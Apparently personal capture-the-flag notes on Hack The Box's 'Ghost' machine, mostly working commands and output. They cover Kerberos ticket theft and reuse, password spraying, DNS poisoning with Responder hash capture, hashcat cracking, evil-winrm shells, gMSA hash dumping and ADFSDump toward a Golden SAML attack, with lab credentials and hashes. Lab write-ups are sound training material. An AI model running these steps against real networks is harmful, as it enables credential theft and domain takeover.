# crudini --set $SAMBA_CONF global "wins support" "$WINS_SUPPORT"
# crudini --set $SAMBA_CONF global "wins server" "$WINS_SERVER"
crudini --set $SAMBA_CONF global "dns proxy" "$DNS_PROXY"
crudini --set $SAMBA_CONF global "log level" "$LOG_LEVEL"
crudini --set $SAMBA_CONF global "debug timestamp" "$DEBUG_TIMESTAMP"
crudini --set $SAMBA_CONF global "log file" "$LOG_FILE"
crudini --set $SAMBA_CONF global "max log size" "$MAX_LOG_SIZE"
# crudini --set $SAMBA_CONF global "syslog only" "$SYSLOG_ONLY"
# crudini --set $SAMBA_CONF global "syslog" "$SYSLOG"
# crudini --set $SAMBA_CONF global "panic action" "$PANIC_ACTION"
# crudini --set $SAMBA_CONF global "hosts allow" "$HOSTS_ALLOW"
# Inherit groups in groups
crudini --set $SAMBA_CONF global "winbind nested groups" "no"
crudini --set $SAMBA_CONF global "winbind refresh tickets" "yes"
crudini --set $SAMBA_CONF global "winbind offline logon" "true"
# home shared directory (restricted to owner)
crudini --set $SAMBA_CONF home "comment" "Home Directories"
crudini --set $SAMBA_CONF home "path" "/home/"
crudini --set $SAMBA_CONF home "public" "yes"
crudini --set $SAMBA_CONF home "guest ok" "no"
crudini --set $SAMBA_CONF home "read only" "no"
crudini --set $SAMBA_CONF home "writeable" "yes"
crudini --set $SAMBA_CONF home "create mask" "0777"
crudini --set $SAMBA_CONF home "directory mask" "0777"
crudini --set $SAMBA_CONF home "browseable" "yes"
crudini --set $SAMBA_CONF home "printable" "no"
crudini --set $SAMBA_CONF home "oplocks" "yes"
#crudini --set $SAMBA_CONF home "valid users" "%S"
# public shared directory (unrestricted)
mkdir -p "/usr/share/public" && chmod 777 "/usr/share/public/"
crudini --set $SAMBA_CONF public "comment" "Public Directories"
crudini --set $SAMBA_CONF public "path" "/usr/share/public/"
crudini --set $SAMBA_CONF public "public" "yes"
crudini --set $SAMBA_CONF public "guest ok" "no"
crudini --set $SAMBA_CONF public "read only" "no"
crudini --set $SAMBA_CONF public "writeable" "yes"
crudini --set $SAMBA_CONF public "create mask" "0774"
crudini --set $SAMBA_CONF public "directory mask" "0777"
crudini --set $SAMBA_CONF public "browseable" "yes"
crudini --set $SAMBA_CONF public "printable" "no"
crudini --set $SAMBA_CONF public "oplocks" "yes"
# private shared directory (restricted)
mkdir -p "/usr/share/private" && chmod 777 "/usr/share/private"
crudini --set $SAMBA_CONF private "comment" "Private Directories"
crudini --set $SAMBA_CONF private "path" "/usr/share/private/"
crudini --set $SAMBA_CONF private "public" "yes"
crudini --set $SAMBA_CONF private "guest ok" "no"
crudini --set $SAMBA_CONF private "read only" "no"
crudini --set $SAMBA_CONF private "writeable" "yes"
crudini --set $SAMBA_CONF private "create mask" "0774"
crudini --set $SAMBA_CONF private "directory mask" "0777"
crudini --set $SAMBA_CONF private "browseable" "yes"
crudini --set $SAMBA_CONF private "printable" "no"
crudini --set $SAMBA_CONF private "oplocks" "yes"
echo --------------------------------------------------
echo "Updating NSSwitch configuration: \"/etc/nsswitch.conf\""
echo --------------------------------------------------
if [[ ! `grep "winbind" /etc/nsswitch.conf` ]]; then
sed -i "s#^\(passwd\:\s*compat\)\$#\1 winbind#" /etc/nsswitch.conf
sed -i "s#^\(group\:\s*compat\)\$#\1 winbind#" /etc/nsswitch.conf
sed -i "s#^\(shadow\:\s*compat\)\$#\1 winbind#" /etc/nsswitch.conf
fi
pam-auth-update
/etc/init.d/nmbd restart
/etc/init.d/smbd restart
/etc/init.d/winbind restart
echo --------------------------------------------------
echo 'Generating Kerberos ticket'
echo --------------------------------------------------
echo $AD_PASSWORD | kinit -V $AD_USERNAME@$REALM
echo --------------------------------------------------
echo 'Registering to Active Directory'
echo --------------------------------------------------
net ads join -U"$AD_USERNAME"%"$AD_PASSWORD"
#wbinfo --online-status
echo --------------------------------------------------
echo 'Stopping Samba to enable handling by supervisord'
echo --------------------------------------------------
/etc/init.d/nmbd stop
/etc/init.d/smbd stop
/etc/init.d/winbind stop
echo --------------------------------------------------
echo 'Enabling SSH'
echo --------------------------------------------------
sed -i 's/^#PasswordAuthentication yes/PasswordAuthentication yes/' /etc/ssh/sshd_config
service ssh restart
kdestroy
ln -s /dev/null /root/.bash_history
mkdir -p /home/GHOST/florence.ramirez
ln -s /dev/null /home/GHOST/florence.ramirez/.bash_history
touch /tmp/init_success
echo --------------------------------------------------
echo 'Restarting Samba using supervisord'
echo --------------------------------------------------
exec "$@"
[!ATTENTION]
- running and
env
command we find the location of the kerberos ticket
KRB5CCNAME=FILE:/tmp/krb5cc_50
- I am grabbig this for my local attack box just in case for later.
- This ended up been the KEY! to user.txt doing it the intended way
- this config from /etc/krb5.conf on the linux box I will copy for my attacker box.
[logging]
default = FILE:/var/log/krb5.log
kdc = FILE:/var/log/kdc.log
admin_server = FILE:/var/log/kadmind.log
[libdefaults]
default_realm = GHOST.HTB
dns_lookup_realm = false
dns_lookup_kdc = false
[realms]
GHOST.HTB = {
kdc = dc01.ghost.htb
admin_server = dc01.ghost.htb
default_domain = GHOST.HTB
}
ghost.htb = {
kdc = dc01.ghost.htb
admin_server = dc01.ghost.htb
default_domain = ghost.htb
}
GHOST = {
kdc = dc01.ghost.htb
admin_server = dc01.ghost.htb
default_domain = GHOST.HTB
}
[domain_realm]
.ghost.htb = GHOST.HTB
ghost.htb = GHOST.HTB
- lets also copy the krb ticket using base64 to not corrupt the data
florence.ramirez@LINUX-DEV-WS01:/tmp$ cat krb5cc_50 | base64
cat krb5cc_50 | base64
BQQADAABAAgAAAAAAAAAAAAAAAEAAAABAAAACUdIT1NULkhUQgAAABBmbG9yZW5jZS5yYW1pcmV6
AAAAAQAAAAEAAAAJR0hPU1QuSFRCAAAAEGZsb3JlbmNlLnJhbWlyZXoAAAABAAAAAwAAAAxYLUNB
Q0hFQ09ORjoAAAAVa3JiNV9jY2FjaGVfY29uZl9kYXRhAAAAB3BhX3R5cGUAAAAaa3JidGd0L0dI
T1NULkhUQkBHSE9TVC5IVEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEy
AAAAAAAAAAEAAAABAAAACUdIT1NULkhUQgAAABBmbG9yZW5jZS5yYW1pcmV6AAAAAgAAAAIAAAAJ
R0hPU1QuSFRCAAAABmtyYnRndAAAAAlHSE9TVC5IVEIAEgAAACAFQQN+SBdYzvdu+3yZvCg2PXpt
gCidz/GHfFrH4MBlHGb51WFm+dVhZvpiAWb7JuEAAOEAAAAAAAAAAAAAAAAE6mGCBOYwggTioAMC
AQWhCxsJR0hPU1QuSFRCoh4wHKADAgECoRUwExsGa3JidGd0GwlHSE9TVC5IVEKjggSsMIIEqKAD
AgESoQMCAQKiggSaBIIEltTY++3znMx1OI8g8C2orFNgvxewLiBsrqO2wS/QFZL5w51sGfksIKqQ
ABNn//+LCHwurttUYXfKsdC4VnRho4+CK5GydY06A5XNLq300hwKgWkWThzpdxzIQKWtUQ77F3nW
gfILPpfufwIfhZy1erqinnYwMmFsVm06jCfzxjLgDC5fqM0ZoJyedzkxCx39Rtje9xtC+R57xzYV
GKEqGZPfMQlQgxzVGGTwYp3YbqLQv0roFkbmqAVX53ZnEm3opbhJVNLeqVKmgtbH406ghzPk0fqS
6j8B/gcJkkbuDgoXTCb46qcIHEHCB2GAMuDp3MYzA5Qgv7hmrYq5grxtRoC+IyefI68M2XMy3YyA
XW5gEmwD9OpweYfDalNiVdonJ0tKuT8b8j8uS5zq3RztpGGCQLgoAUukchU8F5xw/CjCiGpaI59j
QCTLm1iIbDo3QdbC5vp1USGp7kQZyFiGoW7I5CVzAYwqfETrrKNg02qi09bKvvklNdLWKyH938rB
aVNwoUsE6HqOh8beAiFYXhMVfMxwhPc7wqUSn1n6W3l7Ic8JxfHAU3hYjaifqCRG/LLWcFXRfCMi
M+o0kZKsfcjuQdKTbJlIIWIXgZE/1modwsuOc0X1G4Xp4440xhiYom4R2Jf/jJY71a0HJE+QfAfc
IhwOh0GWjOgbnzTkp8CQkrwMijzLPpOYsf1hFkLrHeMFk1Pk3pPm/dtT3TjfS2o5hbTI5IyDE6of
7bMil4ol/8euojsVnbcKnr1+jIDyHifBdPtkiPtFoPnOwJGC+JclqBfA2yvHr3B6UCTWhLD3Q/b+
rA9SgT+44nMa2wnx3jiB0KD00F6EzSa7Y+3TwWTe0eRI5kVKfEQgRSIDdgpG0EHfVZceK82AOgUp
iWVIqnXGIJdsYhcLRu4ZjrWi6eH4t+H6enVLYA+3i8DmKy2SLoYk1pyvV8fFPgUGrOGqJ9JY/WXD
rgEGx754vg6bouedNuAgpDzBXKBRoyPlP/6cq1TQ0DxH+pbTgJApmmcLhCoCocudDhjaY9nnsylw
FXL5zP5W0u8GuQ5LLoSMuSphtwv6IjzT0atBjEnV8gzXHVKYDsNbDJkCzfN3I45uJX86an45T4Fn
x99CrT54siBO2GKG+ayQAZF3jY+eZcvnPWJxMTBCdnQTjk7Q63aawxD3DFq3aomziNibJ11nG6Tc
aRtGk1jDa4x6NJBktgVeVEE28QF0t/RW+nkXFZq1/aPV9CsunSPyYQJPPNpoWIFoEevELeXQQ6sN
71Iod7FgPCB8DQ/RVintwcETGXsYG415lvCqU2Hyx/8qSvmknfYHXxNe7yovBJlOxrCr7so3c8S1
vR2IgBLs27NMy/Ncf/JVyYHn3kHY041DivqNYUhrD9N6fYsacb8EbTOyqXcs7TYGhvkzbqAC4Ipb
Oso7oSn7DNIOM8P4BH7QAeKcXXXGJLRSR+TLhkQ+hnfogq46BmRrT0XGCqSSHjUKZfX4aw8m0oxt
fbwyUHDR9wwCtDJz3tz6S7ZSc5KW4FZo/nkGRYyV5zX37nPrg3L8EldbqZh7aF5G8DUAAAAA
- now locally:
cat krb_ticket_base64 | base64 -d > krb5cc_50
[!ATTENTION]
- YAY! this seems to work! this will allow us to do more recon with that user
rek2 …/Sync/hackthebox/ghost-10.xx.xx.xx ♥ 00:39 export KRB5CCNAME=/tmp/krb5cc_50
rek2 …/Sync/hackthebox/ghost-10.xx.xx.xx ♥ 00:39 cp krb5cc_50 /tmp/
rek2 …/Sync/hackthebox/ghost-10.xx.xx.xx ♥ 00:39 nxc smb ghost.htb -k --use-kcache --rid-brute --users --kdcHost DC01.ghost.htb
SMB ghost.htb 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False)
SMB ghost.htb 445 DC01 [+] ghost.htb\florence.ramirez from ccache
SMB ghost.htb 445 DC01 -Username- -Last PW Set- -BadPW- -Description-
SMB ghost.htb 445 DC01 Administrator 2024-07-02 19:11:35 0 Built-in account for administering the computer/domain
SMB ghost.htb 445 DC01 Guest <never> 0 Built-in account for guest access to the computer/domain
SMB ghost.htb 445 DC01 krbtgt 2024-01-30 17:27:23 0 Key Distribution Center Service Account
SMB ghost.htb 445 DC01 kathryn.holland 2024-02-01 22:48:11 0
SMB ghost.htb 445 DC01 cassandra.shelton 2024-02-01 22:48:11 0
SMB ghost.htb 445 DC01 robert.steeves 2024-02-01 22:48:11 0
SMB ghost.htb 445 DC01 florence.ramirez 2024-02-01 22:48:11 0
SMB ghost.htb 445 DC01 justin.bradley 2024-02-01 22:48:11 0
SMB ghost.htb 445 DC01 arthur.boyd 2024-02-01 22:48:11 0
SMB ghost.htb 445 DC01 beth.clark 2024-02-01 22:48:11 0
SMB ghost.htb 445 DC01 charles.gray 2024-02-01 22:48:11 0
SMB ghost.htb 445 DC01 jason.taylor 2024-02-01 22:48:11 0
SMB ghost.htb 445 DC01 intranet_principal 2024-02-01 22:48:11 0
SMB ghost.htb 445 DC01 gitea_temp_principal 2024-02-01 22:48:11 0
SMB ghost.htb 445 DC01 [-] Error creating DCERPC connection: SMB SessionError: code: 0xc0000016 - STATUS_MORE_PROCESSING_REQUIRED - {Still Busy} The specified I/O request packet (IRP) cannot be disposed of because the I/O operation is not complete.
- going to start recon this will take some time, first is to get all the creds I found before and test them against all this users, I know we have the intranet_principal etc... let's see
kerbrute passwordspray -d ghost.htb users 'He!KA9oKVT3rL99j' --dc dc01.ghost.htb
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (n/a) - 09/30/24 - Ronnie Flathers @ropnop
2024/09/30 01:10:22 > Using KDC(s):
2024/09/30 01:10:22 > dc01.ghost.htb:88
2024/09/30 01:10:23 > [+] VALID LOGIN: intranet_principal@ghost.htb:He!KA9oKVT3rL99j
2024/09/30 01:10:23 > Done! Tested 14 logins (1 successes) in 0.190 seconds
- ok so fucking around enumerating and trying to cross information decided to focus a bit on the
intranet_principal
nxc smb ghost.htb -u 'intranet_principal' -p 'He!KA9oKVT3rL99j' --groups --rid-brute --users --shares
this shows a lot of nice info!! says I have access to Users folder
smbclient -U 'intranet_principal' \\\\ghost.htb/Users
Can't load /etc/samba/smb.conf - run testparm to debug it
Password for [WORKGROUP\intranet_principal]:
Try "help" to get a list of possible commands.
smb: \> dir
. DR 0 Sun Feb 4 22:48:26 2024
.. DHS 0 Wed Jul 31 18:38:56 2024
Administrator D 0 Tue Jan 30 18:19:47 2024
Default DHR 0 Wed Jan 31 10:24:31 2024
desktop.ini AHS 174 Sat May 8 10:18:31 2021
15698175 blocks of size 4096. 882516 blocks available
smb: \>
- and of course access denied I am surprised I could see the Documents folder lol ![TIP]
- Just as I mean navigating wanted to point out a tip to enumerate users from a Linux box that is join to a AD domain and to su into then
florence.ramirez@LINUX-DEV-WS01:~$ id intranet_principal@ghost.htb
uid=52(intranet_principal) gid=50(staff) groups=50(staff),60(games)
florence.ramirez@LINUX-DEV-WS01:~$ id
uid=50(florence.ramirez) gid=50(staff) groups=50(staff),51(it)
florence.ramirez@LINUX-DEV-WS01:~$ su - intranet_principal@ghost.htb
Password: He!KA9oKVT3rL99j
HXproc_run_async: pmvarrun: No such file or directory
Creating directory '/home/GHOST/intranet_principal'.
intranet_principal@LINUX-DEV-WS01:~$ intranet_principal@LINUX-DEV-WS01:~$ whoami
intranet_principal
- When I did this it created another ticket I have also download for inspection and it can do more stuff
klist -f -c /tmp/krb5cc_52
Ticket cache: FILE:/tmp/krb5cc_52
Default principal: intranet_principal@GHOST.HTB
Valid starting Expires Service principal
09/30/2024 04:23:40 09/30/2024 14:23:40 krbtgt/GHOST.HTB@GHOST.HTB
renew until 10/07/2024 04:23:40, Flags: FRIA
09/30/2024 04:23:40 09/30/2024 14:23:40 LINUX-DEV-WS01$@GHOST.HTB
renew until 10/07/2024 04:23:40, Flags: FRA
- ok here I am deleting around 600 lines give or take of testing and rabbit holes, I already remove some in between above but here is more noticiable.
- Lets get some bloodhound as well I should had done this before
…/Sync/hackthebox/ghost-10.xx.xx.xx ♥ 18:46 bloodhound-python -ns 10.xx.xx.xx -dc dc01.ghost.htb -d ghost.htb -u intranet_principal -p 'He!KA9oKVT3rL99j' -gc dc01.ghost.htb -c all INFO: Found AD domain: ghost.htb INFO: Getting TGT for user INFO: Connecting to LDAP server: dc01.ghost.htb INFO: Found 1 domains INFO: Found 2 domains in the forest INFO: Found 2 computers INFO: Connecting to LDAP server: dc01.ghost.htb INFO: Found 16 users INFO: Found 57 groups INFO: Found 2 gpos INFO: Found 1 ous INFO: Found 20 containers INFO: Found 1 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: linux-dev-ws01.ghost.htb INFO: Querying computer: DC01.ghost.htb WARNING: Could not resolve: linux-dev-ws01.ghost.htb: The resolution lifetime expired after 3.105 seconds: Server Do53:10.xx.xx.xx@53 answered The DNS operation timed out. INFO: Done in 00M 07S
- got a beacon in the remote lan and doing some recon to see if I can explore more, bloodhound says I should be able to get what I need from that DEV linux workstation
- this is the Ticket we got for `florence.ramirez@ghost.htb`
- we have the Ticket from the remote linux development box we got we put it on /tmp locally and run klist to make sure it shows
ssh -tt florence.ramirez@ghost.htb@dev-workstation
- you find ticket on /tmp/krb5cc_50
- download it and configure your local tools I like to put it on /tmp/ as well then export the KRB5CCNAME=/tmp/krb5cc_50
klist
Ticket cache: FILE:/tmp/krb5cc_50
Default principal: florence.ramirez@GHOST.HTB
Valid starting Expires Service principal
08/10/24 23:23:01 09/10/24 09:23:01 krbtgt/GHOST.HTB@GHOST.HTB
renew until 09/10/24 23:23:01
- we do DNS poison to the AD servers/network to add our IP so we get what we need.
- Reminder about that post we readed naming
bitbucket.ghost.htb
- now run dnstool.py we downloaded some place above this "krbrelayx" tool set.
- See this article and look for dnstool.py https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/
python dnstool.py -dns-ip 10.129.172.100 -u 'ghost.htb\florence.ramirez' -k -r 'bitbucket.ghost.htb' -a add -t A -d 10.10.xx.xx DC01.GHOST.HTB
- Open responder
[+] Listening for events...
[HTTP] NTLMv2 Client : 10.129.172.100
[HTTP] NTLMv2 Username : ghost\justin.bradley
[HTTP] NTLMv2 Hash : justin.bradley::ghost:bd29b0de677e5e82:959012A35FFDC5C887A6EC97DC718195:0101000000000000A640841ACE19DB01AED3A5C0293061CF0000000002000800480046003400410001001E00570049004E002D00300052005A00420039004500440033003000420051000400140048004600340041002E004C004F00430041004C0003003400570049004E002D00300052005A00420039004500440033003000420051002E0048004600340041002E004C004F00430041004C000500140048004600340041002E004C004F00430041004C000800300030000000000000000000000000400000421C6246A4D51A6183204F68A8DB311F73430023743DF7AB407D6B72FB2D30F50A001000000000000000000000000000000000000900300048005400540050002F006200690074006200750063006B00650074002E00670068006F00730074002E006800740062000000000000000000
[!ATTENTION]
- YAY we got Justin Bradley that is what Bloodhound was telling me to get!
- the kracken!!!
hashcat -m 5600 -a 0 hash /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt -d 2
JUSTIN.BRADLEY::ghost:bd29b0de677e5e82:959012a35ffdc5c887a6ec97dc718195:0101000000000000a640841ace19db01aed3a5c0293061cf0000000002000800480046003400410001001e00570049004e002d00300052005a00420039004500440033003000420051000400140048004600340041002e004c004f00430041004c0003003400570049004e002d00300052005a00420039004500440033003000420051002e0048004600340041002e004c004f00430041004c000500140048004600340041002e004c004f00430041004c000800300030000000000000000000000000400000421c6246a4d51a6183204f68a8db311f73430023743df7ab407d6b72fb2d30f50a001000000000000000000000000000000000000900300048005400540050002f006200690074006200750063006b00650074002e00670068006f00730074002e006800740062000000000000000000:Qwertyuiop1234$$
- ok!! YAYA!!! after 2 week fucking around with this we got a good password for a priviledge path.
Qwertyuiop1234$$
- yay and evil-winrm works! and we get user.txt!!!!!!!!!!!!!!!!!!!!
evil-winrm -i 10.129.172.100 -u JUSTIN.BRADLEY@ghost.htb -p 'Qwertyuiop1234$$' ghost.htb
Evil-WinRM shell v3.6
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\justin.bradley\Documents> whoami
ghost\justin.bradley
*Evil-WinRM* PS C:\Users\justin.bradley\Documents> dir
Directory: C:\Users\justin.bradley\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2/4/2024 1:51 PM WindowsPowerShell
*Evil-WinRM* PS C:\Users\justin.bradley\Documents> cd ../Desktop/
*Evil-WinRM* PS C:\Users\justin.bradley\Desktop> ls
Directory: C:\Users\justin.bradley\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 10/8/2024 10:11 AM 34 user.txt
*Evil-WinRM* PS C:\Users\justin.bradley\Desktop> cat user.txt
0a63e701b0bfa62f3ae52efa2d0d33d1
ROOT
Now for r00t or System since is a Winshit box
paru -Ss gmsadumper
blackarch/gmsadumper 18.e03187c-2 [4.93 KiB 6.73 KiB] (blackarch blackarch-misc)
A tool that Reads any gMSA password blobs the user can access and parses the values.
- we get this tool, took me a bit to get it to work.
- according to bloodhound we need now to focus on
adfs_gmsa
.
gmsadumper -u JUSTIN.BRADLEY -p 'Qwertyuiop1234$$' -d 'ghost.htb'
Users or groups who can read password for adfs_gmsa$:
> DC01$
> justin.bradley
adfs_gmsa$:::4233c732e277554e44dbd82a890da314
adfs_gmsa$:aes256-cts-hmac-sha1-96:9113f810febea8804636a36dee3421edd523c89568f69006d0d622eb909dab5b
adfs_gmsa$:aes128-cts-hmac-sha1-96:0837c07388e02cd3da5b4fcaf6c84961
[!ATTENTION]
- We got hash to login with evil-winrm as
adfs_gmsa
- according to bloodhound we need now to focus on
adfs_gmsa
. - So we can do a
Golden SAML Attack
withadfs_gmsa
see golden_saml_attack - sucks we need to upload tools to the Winshit box get ADFSDump
[!ATTENTION]
- Now we actually now have to access with the target using the hash we got on the gmsadumper.
evil-winrm -i 10.129.172.100 -u 'adfs_gmsa$' -H 4233c732e277554e44dbd82a890da314 ghost.htb
- and yes! now we have the right permissions!
- We need to upload the tools to start the
Golden SAML attach
*Evil-WinRM* PS C:\Users\adfs_gmsa$\Desktop> ./ADFSDump.exe
___ ____ ___________ ____
/ | / __ \/ ____/ ___// __ \__ ______ ___ ____
/ /| | / / / / /_ \__ \/ / / / / / / __ `__ \/ __ \
/ ___ |/ /_/ / __/ ___/ / /_/ / /_/ / / / / / / /_/ /
/_/ |_/_____/_/ /____/_____/\__,_/_/ /_/ /_/ .___/
/_/
Created by @doughsec
## Extracting Private Key from Active Directory Store
[-] Domain is ghost.htb
[-] Private Key: FA-DB-3A-06-DD-CD-40-57-DD-41-7D-81-07-A0-F4-B3-14-FA-2B-6B-70-BB-BB-F5-28-A7-21-29-61-CB-21-C7
[-] Private Key: 8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1
## Reading Encrypted Signing Key from Database
[-] Encrypted Token Signing Key Begin
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